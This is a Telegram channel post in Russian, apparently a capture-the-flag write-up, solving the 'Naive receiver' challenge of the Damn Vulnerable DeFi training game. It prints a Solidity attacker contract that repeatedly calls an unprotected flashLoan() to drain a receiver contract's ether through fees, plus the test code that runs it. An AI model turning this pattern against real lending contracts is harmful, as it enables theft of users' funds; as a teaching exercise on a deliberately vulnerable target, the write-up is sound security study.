TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #441 179
Damn Vulnerable Defi. Задача 2. Naive receiver

В чем суть?

Предлагается вывести из строя быстрые займы.

Имеется пул займов с достаточно дорогими flash loans и балансом в 1000 Эфиров. Также есть пользовательский контракт с 10 Эфирами, который может взаимодействовать с пулом и брать займ.

Нужно захватить весь Эфир пользователя. Будет плюсом, если сможете сделать это в одной транзакции.

Уязвимость кроется в функции flashLoan() контракта NaiveReceiverLenderPool, которая не защищена от внешнего вызова другим контрактом. Это мы и будем использовать.

Для начала создадим контракт взлома. Я поместил его в файл с контрактом Naive.

contract Attacker {
    NaiveReceiverLenderPool private naive;

    constructor(address payable poolAddress) {
        naive = NaiveReceiverLenderPool(poolAddress);
    }

    function attack(address recipient, uint256 attacks) public {
        for(uint256 i = 0; i < attacks; i++) {
            naive.flashLoan(recipient, 0);
        }
    }
} 

По сути, он подключается к контракту Naive, и от его имени берет займы в пуле.

Затем уже в файле теста js пишем наше решение:

const attackerContract = await (await ethers.getContractFactory('Attacker', attacker)).deploy(this.pool.address);
await attackerContract.connect(attacker).attack(this.receiver.address, 10);

В первой строке мы делаем деплой контракта Attacker, под адресом attacker, который нам дается в начале, и с адресом контракта Naive.

Потом мы подключаемся к контракту от имени attacker и вызываем функцию attack(), с указанием параметров адреса пула и количества итераций.

Проводим тест yarn run naive-receiver и убеждаемся, что все работает.

#dvd #DamnVulnerableDefi
  • 👍 1
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →